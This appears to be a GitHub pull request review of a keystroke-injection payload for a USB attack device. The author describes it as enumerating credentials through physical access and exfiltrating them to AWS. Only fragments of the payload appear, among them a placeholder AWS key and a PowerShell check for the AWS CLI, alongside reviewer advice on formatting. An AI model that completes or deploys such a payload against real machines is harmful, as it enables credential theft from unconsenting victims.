Conversation
Educational and penetration testing purposes only. This script is designed to demonstrate that once physical access is gained, a malicious actor can easily enumerate information and credentials, and have that remotely exfiltrated for later review, exploitation, and/or selling. Please use responsibly, and ensure you are only targeting systems that you have explicit permission to test on.
Syntax correction
There was a problem hiding this comment.
Please fix your directory structure. Your payload content should be inside of a payload.txt file within a directory with your payload name. For example: payloads/library/exfiltration/PwnedBy_AWS/payload.txt
| DELAY 1000 | ||
|
|
||
| REM Set AWS_ACCESS_KEY_ID | ||
| STRING $env:AWS_ACCESS_KEY_ID = "YOUR-ACCESS-KEY-HERE" |
There was a problem hiding this comment.
Please include a DEFINE at the top of your payload for any configurable options. This makes the payload easier to use and change for the end user.
For example:
DEFINE #AWS_ACCESS_KEY_ID YOUR-ACCESS-KEY-HERE
STRINGLN $env:AWS_ACCESS_KEY_ID = "#AWS_ACCESS_KEY_ID"
Please implement this where it applies in your payload.
| DELAY 1500 | ||
|
|
||
| REM Verify the AWS CLI is available. If not, exit the script. | ||
| STRING if (!(Get-Command aws -ErrorAction SilentlyContinue)) { Write-Output "AWS CLI not found. Exiting."; exit } |
There was a problem hiding this comment.
For instances where you are using STRING and then immediately ENTER you can compress it down into a single line by using STRINGLN this cleans up the payload and makes it more readable.
for example: STRINGLN example will inject the same as
STRING example
ENTER
Educational and penetration testing purposes only. This script is designed to demonstrate that once physical access is gained, a malicious actor can easily enumerate information and credentials, and have that remotely exfiltrated for later review, exploitation, and/or selling. Please use responsibly, and ensure you are only targeting systems that you have explicit permission to test on.